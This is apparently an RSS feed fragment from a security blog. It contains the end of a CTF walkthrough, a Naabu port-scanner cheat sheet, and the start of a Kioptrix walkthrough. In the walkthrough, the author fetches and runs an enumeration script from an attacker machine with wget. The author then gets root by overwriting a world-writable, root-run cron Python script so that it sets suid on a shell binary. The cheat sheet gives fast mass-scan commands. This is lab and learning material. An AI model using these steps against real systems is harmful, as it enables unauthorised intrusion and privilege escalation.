          &lt;span class=&quot;output&quot;&gt;The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Last login: Wed Dec 24 12:00:52 2014 from 192.168.78.128&lt;br /&gt;&lt;/span&gt;
		  &lt;span class=&quot;output&quot;&gt;Could not chdir to home directory /home/overflow: No such file or directory&lt;br /&gt;&lt;/span&gt;
		  &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
		  &lt;span class=&quot;output&quot;&gt;$ id&lt;br /&gt;&lt;/span&gt;
	      &lt;span class=&quot;output&quot;&gt;uid=1002(overflow) gid=1002(overflow) groups=1002(overflow)&lt;br /&gt;&lt;/span&gt;

        &amp;lt;/p&amp;gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;Then almost as soon as I’d logged in, the following message printed to console and the session closed:&lt;/p&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;Broadcast Message from root@trol&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
		  &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Broadcast Message from root@trol&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(somewhere) at 22:00 ... &lt;br /&gt;&lt;/span&gt;
		  &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
		&lt;/p&gt;
		&lt;p class=&quot;line&quot;&gt;
		  &lt;span class=&quot;output&quot;&gt;TIMES UP LOL!&lt;br /&gt;&lt;/span&gt;
        &lt;/p&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;This became rather annoying…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/janeway-annoyed.gif&quot; alt=&quot;Janeway Annoyed&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;local-enumeration&quot;&gt;Local Enumeration&lt;/h2&gt;

&lt;p&gt;I copied over my local enumeration sctipt to /var/tmp/ which discovered the following world writable files:&lt;/p&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;Local Enumeration Sctipt&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;wget http://attacking-machine/exploits/enumeration/lin/linux-local-enum.sh -P /var/tmp/ &amp;amp;&amp;amp; chmod 700 /var/tmp/linux-local-enum.sh &amp;amp;&amp;amp; ./var/tmp/linux-local-enum.sh&lt;br /&gt;&lt;/span&gt;
        &lt;/p&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;h3 id=&quot;weak-filesystem-permissions&quot;&gt;Weak Filesystem Permissions&lt;/h3&gt;

&lt;p&gt;The enumeration script identified the following world writable files:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#########################################&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;## 777 Files                           ##&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#########################################&lt;/span&gt;

/srv/ftp/lol.pcap
/var/tmp/cleaner.py.swp
/var/www/html/sup3rs3cr3tdirlol/roflmao
/var/log/cronlog
/lib/log/cleaner.py&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;enumeration-findings&quot;&gt;Enumeration Findings&lt;/h3&gt;

&lt;p&gt;/lib/log/cleaner.py was owned by root and executed by cron to clean out /tmp&lt;/p&gt;

&lt;h2 id=&quot;local-privilege-escalation&quot;&gt;Local Privilege Escalation&lt;/h2&gt;

&lt;p&gt;From the attacking machine I downloaded an suid bin (spawns a shell) to /usr/bin/suid on the target.&lt;/p&gt;

&lt;p&gt;Exploiting the poor filesystem permissions, I swapped out the contents of /lib/log/cleaner.py for:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/env python
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;os&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;chown root:root /var/tmp/suid; chmod 4777 /var/tmp/suid&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;except&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;got-root&quot;&gt;Got Root&lt;/h3&gt;

&lt;p&gt;Went to get a coffee, came back and reconnected after the annoying message.&lt;/p&gt;

&lt;p&gt;Executed my suid binary, got root.&lt;/p&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;Local Privilege Escalation&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;/var/tmp/suid&lt;br /&gt;&lt;/span&gt;
        &lt;/p&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;cat /root/proof.txt&lt;br /&gt;&lt;/span&gt;
          &lt;br /&gt;
          &lt;span class=&quot;output&quot;&gt;Good job, you did it!&lt;br /&gt;&lt;/span&gt;
          &lt;br /&gt;
          &lt;span class=&quot;output&quot;&gt;702a8c18d29c6f3ca0d99ef5712bfbdc&lt;br /&gt;&lt;/span&gt;
        &lt;/p&gt;
        &lt;br /&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;id&lt;br /&gt;&lt;/span&gt;
          &lt;br /&gt;
          &lt;span class=&quot;output&quot;&gt;uid=0(root) gid=0(root) groups=0(root),1002(overflow)&lt;br /&gt;&lt;/span&gt;
        &lt;/p&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;     
          &lt;span class=&quot;command&quot;&gt;whoami&lt;br /&gt;&lt;/span&gt;
          &lt;br /&gt;
          &lt;span class=&quot;output&quot;&gt;root&lt;br /&gt;&lt;/span&gt;
        &lt;/p&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;####Root dance…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/picard-shake-it-so.gif&quot; alt=&quot;Picard Dancing&quot; /&gt;&lt;/p&gt;

&lt;p&gt;##Thanks&lt;/p&gt;

&lt;p&gt;Thanks to &lt;a href=&quot;https://twitter.com/@maleus21&quot;&gt;@maleus21&lt;/a&gt; for creating this VM challenege.&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>Naabu Cheat Sheet: Commands &amp; Examples</title>
          <link>https://hacksofdhruv.me/blog/naabu-cheat-sheet/</link>
          <pubDate>Sat, 23 Dec 2023 10:37:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>cheat-sheet</category>
          
          <category>Pen-Testing</category>
          
          <category>Projct Discovery</category>
          
          <category>Tools</category>
          
          
          <category>cheat-sheet</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/naabu-cheat-sheet/</guid>
          <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#what-is-naabu&quot; id=&quot;markdown-toc-what-is-naabu&quot;&gt;What is Naabu?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#naabu-vs-nmap&quot; id=&quot;markdown-toc-naabu-vs-nmap&quot;&gt;Naabu vs Nmap&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#what-does-naabu-do&quot; id=&quot;markdown-toc-what-does-naabu-do&quot;&gt;What does Naabu do:&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#download--install-naabu&quot; id=&quot;markdown-toc-download--install-naabu&quot;&gt;Download &amp;amp; Install Naabu&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#naabu-linux-install&quot; id=&quot;markdown-toc-naabu-linux-install&quot;&gt;Naabu Linux Install&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#kali&quot; id=&quot;markdown-toc-kali&quot;&gt;Kali&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#naabu-example-command-options&quot; id=&quot;markdown-toc-naabu-example-command-options&quot;&gt;Naabu Example Command Options&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#naabu-scan-all-ports&quot; id=&quot;markdown-toc-naabu-scan-all-ports&quot;&gt;Naabu Scan All Ports&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#naabu-input-file-fast-scan--verify-port-21&quot; id=&quot;markdown-toc-naabu-input-file-fast-scan--verify-port-21&quot;&gt;Naabu Input File, Fast Scan + Verify Port 21&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#naabu-fast-scan-verify-nmap-services&quot; id=&quot;markdown-toc-naabu-fast-scan-verify-nmap-services&quot;&gt;Naabu Fast Scan, Verify, Nmap Services&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#document-changelog&quot; id=&quot;markdown-toc-document-changelog&quot;&gt;Document Changelog&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The following Naabu cheat sheet aims to explain what Naabu is, what it does, and how to install it and use it by providing Nabuu command examples in a cheat sheet style documentation format.&lt;/p&gt;

&lt;h2 id=&quot;what-is-naabu&quot;&gt;What is Naabu?&lt;/h2&gt;

&lt;p&gt;Naabu is a simple port scanner written in Golang by Project Discovery, with a goal of being simple and fast.&lt;/p&gt;

&lt;h2 id=&quot;naabu-vs-nmap&quot;&gt;Naabu vs Nmap&lt;/h2&gt;

&lt;p&gt;Why use Naabu over &lt;a href=&quot;https://hacksofdhruv.me/blog/nmap-cheat-sheet/&quot;&gt;Nmap&lt;/a&gt;, the primary reason for me personally is the automatic IP deduplication. Meaning, when performing subdomain or domain enumeration of a target organisation, and you feed Naabu an input file of domain or subdomain it will resolve them and only scan unique IP addresses, so you are not wasting time and resources scanning the same target IP address twice.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/naabu-command-cheat-sheet.jpg&quot; alt=&quot;Naabu Cheat Sheet&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;what-does-naabu-do&quot;&gt;What does Naabu do:&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Host discovery&lt;/li&gt;
  &lt;li&gt;Automatic IP Deduplication for DNS port scan&lt;/li&gt;
  &lt;li&gt;Port discovery / enumeration&lt;/li&gt;
  &lt;li&gt;SYN/CONNECT/UDP probe based scanning&lt;/li&gt;
  &lt;li&gt;Passive port scanning via Shodan&lt;/li&gt;
  &lt;li&gt;Performs IPv4/IPv6 port scanning&lt;/li&gt;
  &lt;li&gt;Can be configured to call Nmap to run NSE scripts post port detection&lt;/li&gt;
  &lt;li&gt;Multiple input support - STDIN/HOST/IP/CIDR/ASN&lt;/li&gt;
  &lt;li&gt;Multiple output format support - JSON/TXT/STDOUT&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;download--install-naabu&quot;&gt;Download &amp;amp; Install Naabu&lt;/h2&gt;

&lt;p&gt;You can obtain Naabu via the &lt;a href=&quot;https://github.com/projectdiscovery/naabu&quot;&gt;Project Discovery Github&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;naabu-linux-install&quot;&gt;Naabu Linux Install&lt;/h3&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;go install -v github.com/projectdiscovery/naabu/v2/cmd/naabu@latest
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;kali&quot;&gt;Kali&lt;/h3&gt;

&lt;p&gt;Kali has a package for Naabu (caveat, it may not be the latest version):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo apt install naabu
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
  &lt;h2&gt;Naabu File Input Options&lt;/h2&gt;
  &lt;p&gt;Naabu input options, allowing Naabu to read and proccess data from input files. &lt;/p&gt;
  &lt;table&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-host string[]&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;hosts to scan ports for (comma-separated)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-list, -l string&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;list of hosts to scan ports (file)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-exclude-hosts, -eh string&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;hosts to exclude from the scan (comma-separated)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-exclude-file, -ef string&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;list of hosts to exclude from scan (file)&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;h2&gt;Naabu Port Options&lt;/h2&gt;
  &lt;table&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-port, -p string&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;ports to scan (80,443, 100-200&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-top-ports, -tp string&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;top ports to scan (default 100)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-exclude-ports, -ep string&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;ports to exclude from scan (comma-separated)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-ports-file, -pf string&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;list of ports to exclude from scan (file)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-exclude-cdn, -ec&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;skip full port scans for CDN&apos;s (only checks for 80,443)&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;h2&gt;Nabu Rate Limiting&lt;/h2&gt;
  &lt;table&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-c int&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;general internal worker threads (default 25)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-rate int&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;packets to send per second (default 1000)&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;h2&gt;Naabu Scan Output Options&lt;/h2&gt;
  &lt;table&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-o, -output string&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;file to write output to (optional)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-json&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;write output in JSON lines format&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-csv&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;write output in csv format&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;h2&gt;Naabu Configuration Options&lt;/h2&gt;
  &lt;table&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-scan-all-ips, -sa&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;scan all the IP&apos;s associated with DNS record&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-scan-type, -s string&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;type of port scan (SYN/CONNECT) (default &quot;s&quot;)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-source-ip string&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;source ip&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-interface-list, -il&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;list available interfaces and public ip&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-interface, -i string&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;network Interface to use for port scan&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-nmap&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;invoke nmap scan on targets (nmap must be installed) - Deprecated&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-nmap-cli string&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;nmap command to run on found results (example: -nmap-cli &apos;nmap -sV&apos;)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-r string&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;list of custom resolver dns resolution (comma separated or from file)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-proxy string&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;socks5 proxy&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-resume&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;resume scan using resume.cfg&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-stream&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;stream mode (disables resume, nmap, verify, retries, shuffling, etc)&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;h2&gt;Naabu Optimization Options&lt;/h2&gt;
  &lt;table&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-retries int&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;number of retries for the port scan (default 3)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-timeout int&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;millisecond to wait before timing out (default 1000)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-warm-up-time int&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;time in seconds between scan phases (default 2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-ping&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;ping probes for verification of host&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-verify&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;validate the ports again with TCP verification&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;h2&gt;Naabu Debug Options&lt;/h2&gt;
  &lt;table&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-debug&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;display debugging information&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-verbose, -v&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;display verbose output&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-no-color, -nc&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;disable colors in CLI output&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-silent&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;display only results in output&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-version&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;display version of naabu&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-stats&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;display stats of the running scan&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;-si, -stats-interval&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;int number of seconds to wait between showing a statistics update (default 5)&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;naabu-example-command-options&quot;&gt;Naabu Example Command Options&lt;/h2&gt;

&lt;p&gt;The following are real world examples of Naabu commands.&lt;/p&gt;

&lt;h3 id=&quot;naabu-scan-all-ports&quot;&gt;Naabu Scan All Ports&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;naabu &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 0-65535&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;naabu-input-file-fast-scan--verify-port-21&quot;&gt;Naabu Input File, Fast Scan + Verify Port 21&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;21.txt | ~/go/bin/naabu &lt;span class=&quot;nt&quot;&gt;-verify&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-ec&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-rate&lt;/span&gt; 9000 &lt;span class=&quot;nt&quot;&gt;-retries&lt;/span&gt; 1 &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 21 &lt;span class=&quot;nt&quot;&gt;-warm-up-time&lt;/span&gt; 0 &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; 50 &lt;span class=&quot;nt&quot;&gt;-silent&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; ftp.txt&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;naabu-fast-scan-verify-nmap-services&quot;&gt;Naabu Fast Scan, Verify, Nmap Services&lt;/h2&gt;

&lt;p&gt;Naabu input file, scan all ports, output to text, fast scan, verify open ports, use Nmap to perform service enumeration&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;naabu &lt;span class=&quot;nt&quot;&gt;-list&lt;/span&gt; subdomains.txt &lt;span class=&quot;nt&quot;&gt;-verify&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-ec&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-rate&lt;/span&gt; 9000 &lt;span class=&quot;nt&quot;&gt;-retries&lt;/span&gt; 1 &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 0-65535 &lt;span class=&quot;nt&quot;&gt;-warm-up-time&lt;/span&gt; 0 &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; 50 &lt;span class=&quot;nt&quot;&gt;-nmap-cli&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;nmap -sV -oG nmap-naabu-out&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-silent&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; naabu-full.txt&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;If you found this Naabu cheat sheet useful, please share it below.&lt;/p&gt;

&lt;h2 id=&quot;document-changelog&quot;&gt;Document Changelog&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Last Updated:&lt;/strong&gt; 12/02/2024 (12th of February 2024)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Author:&lt;/strong&gt; Dhruv Ambaliya&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Notes:&lt;/strong&gt; Checked syntax was current for latest version of Naabu.&lt;/li&gt;
&lt;/ul&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>Kioptrix Level 1.2 Walkthrough</title>
          <link>https://hacksofdhruv.me/blog/kioptrix-level-1-2-walkthrough/</link>
          <pubDate>Wed, 20 Dec 2023 14:00:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>Kioptrix</category>
          
          <category>CTF</category>
          
          
          <category>walkthroughs</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/kioptrix-level-1-2-walkthrough/</guid>
          <description>&lt;div class=&quot;coffee-rating&quot;&gt;
&lt;table&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;code&gt;Difficulty Rating:&lt;/code&gt;&lt;/p&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;i class=&quot;fa-solid fa-fire&quot;&gt;Easy&lt;/i&gt;&lt;/p&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

